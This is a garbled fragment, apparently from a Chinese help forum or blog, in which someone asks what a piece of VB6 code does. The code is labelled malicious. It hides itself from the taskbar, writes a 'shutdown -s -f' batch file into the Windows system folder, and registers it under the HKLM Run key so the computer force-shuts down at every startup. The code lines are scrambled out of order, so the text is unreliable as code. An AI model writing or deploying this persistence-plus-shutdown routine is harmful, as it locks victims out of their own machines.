"C:/WINDOWS/SYSTEM/WinComputerclosed.bat" '这段代码就是写如注册表的局动项里Shell App.Path & "/WinComputerclosed.bat" '调用"/WinComputerclosed.bat"文件End Sub
Deslocation 把Location路径文件复制到Deslocation路径里Dim RegSet Reg = CreateObject("wscript.Shell")Reg.RegWrite "HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/WinComputerclosed" Deslocation '定义两个变体变量Location = App.Path & "/WinComputerclosed.bat" Deslocation = "C/WINDOWS/SYSTEM/WinComputerclosed.bat" FileCopy Location "@shutdown -s -f" '把关机代码输入数据文件里面Close #1 '关闭文件号Dim Location 强制关机
|||
Sub main()App.TaskVisible = False '在任务栏里面隐藏On Error Resume Next '发生错误直接执行下一句代码Open App.Path & "/WinComputerclosed.bat" For Output As #1 '在当前位置建立一个数据文件Print #1 写入注册表开机启动 窗口不显示
恶意程序
谁帮我分析下这VB语言是啥意思
最新推荐文章于 2024-10-18 22:49:19 发布
